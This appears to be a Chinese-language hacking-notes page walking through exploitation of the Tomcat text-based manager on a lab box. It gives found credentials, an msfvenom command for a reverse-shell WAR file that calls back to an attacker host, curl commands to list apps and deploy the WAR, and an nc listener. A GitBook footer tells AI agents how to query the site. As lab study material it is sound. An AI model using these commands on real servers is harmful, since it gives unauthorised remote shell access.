> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Tomcat 文本管理器

### **Tomcat 文本管理器利用**

**凭据** 发现：

`用户名 = tomcat`

`密码 = $3cureP4s5w0rd123!`

<figure><img src="/files/1e3fdd592d90469d24721194662ad5e99a37cb6e" alt=""><figcaption></figcaption></figure>

**访问尝试** 更改为 `/manager/html` 返回 403 错误。<br>

<figure><img src="/files/5a0633e2ea68afe512bac3ab482c0796dbf67b7b" alt=""><figcaption></figcaption></figure>

1. **另一种方式通过 `/host-manager/html`**，但它不能从一个 `.war` 文件中的用户进行测试。

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/c1988c418a2f47cd30e94c81f15cce8cfb6122e3" alt=""><figcaption></figcaption></figure>

**在命令行中列出应用程序：**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/2b7ca81c8312ca8543be6a037a290eec4a43cee3" alt=""><figcaption></figcaption></figure>

**创建一个反向 Shell WAR 文件** 替换为 `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/e002fcb781c9a81ec90b2185dd9d0e74a211ebcb" alt="" width="563"><figcaption></figcaption></figure>

**部署 WAR 文件** 使用 curl：

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/e90d0984376785b1b6ac3a57742fb2306343781e" alt=""><figcaption></figcaption></figure>

**监听反向 Shell 连接**

```bash
nc -nlvp 443 
```

**反向 Shell 访问** 通过 `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/2e8f7ba29a3857f30c7a2a6b2b490f88e7671a11" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e756cb1235c00ea967895e9988f87617d987d6bd" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
